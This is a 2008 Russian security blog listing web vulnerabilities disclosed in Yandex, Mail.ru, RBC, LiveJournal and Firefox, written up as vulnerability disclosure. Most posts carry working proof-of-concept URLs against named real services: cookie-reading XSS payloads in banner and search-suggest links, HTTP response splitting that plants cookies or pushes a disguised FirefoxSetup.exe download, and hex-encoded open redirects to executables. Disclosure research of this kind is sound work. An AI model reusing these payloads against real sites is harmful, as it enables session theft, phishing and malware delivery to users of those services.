Уязвимости баннерных сетей (Яндекс, Mail.ru, РБК)

Уязвимости - 26 Comments » - Записано Ноябрь 18, 2008 в 16:10

Речь в данном посте пойдет про внутренние системы рекламы (ротации баннеров).

Проще говоря уязвимость представляет из себя XSS-атаку выполняемую через распространенную технику сбора статистики показов и переходов для flash-баннеров.

Общепринятым для подобных систем является использование совершенно примитивной конструкции, причем (в том числе широкоизвестные рекламные агентства, но они нам в данном контексте неинтересны) её упоминают в требованиях к баннерам. Вот эта конструкция.

on(release) {
getURL(SOME_GET_PARAM,”_blank”);
}

Конструкция абсолютно безграмотна и небезопасна, однако, как я уже говорил распространена повсеместно.

Приведу примеры в качестве ссылок, а в конце приводится работающий пример получения персональных данных с сервиса.

Примеры для браузеров на движке Gecko: линейка Mozilla, линейка Mozilla Firefox, линейка Netscape (Browser, Navigator). Flash выше 9 версии, однако должен работать и на более ранних.

Яндекс - http://yabs.yandex.ru/resou … rfuVLA.swf?link1=javascript:alert(document.cookie)

РБК - http://pics.rbc.ru/7e1/91 … 90.swf?link1=javascript:alert(document.cookie)

Mail.ru - http://r1.mail.ru/b6108418.swf?rb_link=javascript:alert(document.cookie)

Итак, работающий пример. Пример, удобнее всего привести используя баннер из сети Яндекса. На странице будет отображен логин на Яндексе и количество новых писем в почтовом ящике. Предварительно необходимо авторизоваться на Яндексе.

Персональные данные отобразятся в браузере и никуда передаваться не будут

Update: Яндекс исправил уязвимость на уровне сервера.

Persistent Cross Site Scripting - livejournal.com

Уязвимости - 3 Comments » - Записано Ноябрь 13, 2008 в 21:24

 Ранее сообщалось о проблемах у ведущих блогхостингов. Небольшие детали.

Livejournal.com  livejournal.com

Приложение: /editjournal.bml, /update.bml

Пример приведу на сей раз на скриншоте
Пример на livejournal.com

Серьезная уязвимость в Mozilla Firefox 3.0.3 Gecko/20080201

Уязвимости - 3 Comments » - Записано Ноябрь 12, 2008 в 15:36

firefox-wordmark-vertical.jpg 

Сразу оговорюсь, что указанная версия по сообщениям самого браузера является актуальной и обновлений для неё нет. Поэтому, как минимум для неё, информация актуальна. 

Описание: Браузер данной версии позволяет выполнять следующую операцию.

window.self = window.top;

В итоге это может привести к подделке структуры окон при использовании фреймов. Т.е. используя тот факт что свойство window.self работает не только как getter, но и как setter мы можем сделать, например, iframe главным окном и выполнить его содержимое в контексте того, что он является top-окном. В некоторых случаях это чрезвычайно критично.

Firefox более ранних версий, а также все версии Opera, Internet Explorer подобного не поддерживают и сообщают о соотвествующем исключении при выполнении данного действия.

Пример - http://fuzzing.ru/blog/files/ff.iframe/ciframe.html

Масштабные проблемы у ведущих блогхостингов и почтовых систем.

Уязвимости - 5 Comments » - Записано Ноябрь 12, 2008 в 13:22

Уязвимости подвержены множество самых популярных систем ведения блогов и некоторые почтовые системы.

  • Тип уязвимости: Межсайтовое выполнение сценариев (Persistent Cross Site Scripting). Недостаточная фильтрация содержимого.
    Приложение: Формы обработки записей и комментариев, как правило.

Ввиду чрезвычайно высокого масштаба данной уязвимости и очень опасных последствий её эксплуатации названия конкретных сервисов и конкретные способы эксплуатации я опускаю. Упомяну лишь, что в контексте блогхостинга это такие вещи как добавление посетителю в друзья произвольного пользователя, распространение зловредного ПО посетителям как блогов злоумышленников так и блогов популярных пользователей. Варианты и детали реализации способов эксплуатации могут быть различными и зависеть от особенностей конкретной системы.

Причины возникновения: Стандарт W3C предусматривает (и что самое удивительное поддерживают все основные браузеры) поддержку загрузки в элементе <OBJECT> содержимого очень разных типов, в том числе, таких в которых модулем обработки содержимого будет не специальный плагин, а базовые модули браузера.

К примеру, в данном элементе возможна загрузка и полноценный рендеринг содержимого с типом text/html.

<object height="0" width="0" type="text/html" data="http://fuzzing.ru/blog/"></object>

Информация приведенная в данном сообщении опубликована в исследовательских целях и преследует только одну итоговую цель - массовое исправление данной проблемы вендорами. Автор не несет ответственности за использование данной информацции в корыстных целях третьими лицами.

Вендоры за деталями могут обращаться по почте site@fuzzing.ru. К сожалению, уязвимых систем крайне много.

Вновь об уязвимостях проектов РосБизнесКонсалтинга

Уязвимости - 4 Comments » - Записано Октябрь 29, 2008 в 02:02

Обновление: новые примеры, предыдущие исправлены.

Берем первый попав?ийся мне вариант, где файл отдает некий скрипт (прямой редирект на файл вроде исправили).

http://www.rbc.ru/bredir/?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31

http://banner.rbc.ru/banredir.cgi?code=!%66%72%61%74%72%69%61%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%69%41%75%64%69%6F%2F%69%6E%64%65%78%2E%63%67%69%3F%73%6F%6E%67%3D%33%34%32%32%34%26%77%61%76%3D%31


Встретить в сети нормально организованный скриптовый редирект очень непросто, подавляющее боль?инство представляют из себя серьезную уязвимость.

  • Тип уязвимости: Переадресация URL.
    Приложение: http://www.rbc.ru/bredir/, http://banner.rbc.ru/banredir.cgi, http://www.rbc.ru/3e/9jjjgygaf/click
    GET-переменные: code

Примеры:

http://www.rbc.ru/bredir/?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65

http://banner.rbc.ru/banredir.cgi?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65

http://www.rbc.ru/3e/9jjjgygaf/click?code=!%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65

  • Тип уязвимости: ?ндексирование директорий (Directory Indexing), как следствие -> Раскрытие исходного кода (Source code disclosure)

 Путь: http://banner.rbc.ru/banredir.cgi~

Комментарий: Часть кода работает именно так как описано в скрипте, однако есть все же подозрение, что он немного неактуальный. Судя по коду, очевидно, есть скрытое внедрение  SQL-операторов (Blind SQL-injection) ну и много другой полезной информации.

Множественные уязвимости проектов РосБизнесКонсалтинга

Уязвимости - 1 Комментарии » - Записано Октябрь 22, 2008 в 08:29

РБК

  • Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
    Приложение: /
    GET-переменные: нет

Примечание: Уязвимость вызвана отсутствием фильтрации (или кодирования) исходного URL. Работает только во всех версиях Internet Explorer.

Возможные области применения (приведены простые примеры):

 Приведенные примеры очень грубые. Без сомнений можно полагать, что качественная эксплуатация данных уязвимостей является делом техники.

  • Тип уязвимости: Переадресация URL.
    Приложение:
    http://redir.rbc.ru/cgi-bin/redirect.cgi
    GET-переменные: нет

Возможные области применения (приведены простые примеры):

Ну и напоследок, не очень практичная, но тем не менее полноценная…

  • Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) - DOM based. Недостаточная фильтрация содержимого переменной.
    Приложение: /
    GET-переменные: нет

Причины те же что и у описанной вы?е XSS-уязвимости, но немного другой механизм срабатывания.

Пример: http://top.rbc.ru/incidents/22/10/2008/254898.shtml?’);alert(document.cookie);encodeURIComponent(’

Механизм срабатывания ограничен событием в которое упаковано внедренное содержимое (onclick по ссылке добавления в закладки текущей статьи), либо событием которое можно добавить элементу при внедрении. Однако элемент <a> событий которые можно создать без действий пользователя (к примеру, onload, onerrror) не имеет. Поэтому для просмотра результата надо кликнуть по ссылке добавления “в мемориз”.

Обновление :: Исправление уязвимостей suggest.yandex.ru

Уязвимости - 1 Комментарии » - Записано Октябрь 20, 2008 в 10:03

По факту исправлений понятно, что исправлено лишь расщепление HTTP-запроса. Все остальное работает несколько в другом виде.

По другим примерам аналог находится чуть более сложно.

Множественные уязвимости в сервисе поисковых подсказок Яндекса (suggest.yandex.ru)

Уязвимости - Нет комментариев » - Записано Октябрь 16, 2008 в 16:49

Найдется все

  • Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
    Приложение: /suggest-ya.cgi
    GET-переменные: part

Пример: http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&part=<script>alert(document.cookie)</script>

  • Тип уязвимости: Расщепление HTTP-запроса (HTTP Response Splitting)
    Приложение: /suggest-ya.cgi
    GET-переменные: ct

Пример: http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aSet-cookie:Fuzzing=fuzzing.ru%0d%0a%0d%0a&part=fuzzing.ru (устанавливает cookie от имени сервера)

Простые примеры применения, не говоря уже о сложных вариантах.

  • ?спользование уязвимостей других приложений или распостранение вирусов (подмена content-type)

Можно предложить, к примеру, скачать с Яндекса великолепную программу Firefox с поиском Яндекса

http://suggest.yandex.ru/suggest-ya.cgi?ct=application/x-msdos-program%0d%0aLocation:%20http://fuzzing.ru/blog/files/FirefoxSetup.exe%0d%0a%0d%0a&part=fuzzing.ru

?ли любое другое приложение или мультимедиа-файл. К примеру.

http://suggest.yandex.ru/suggest-ya.cgi?ct=audio/mp3%0d%0aLocation:%20http://fuzzing.ru/blog/files/somedata.mp3%0d%0a%0d%0a&part=fuzzing.ru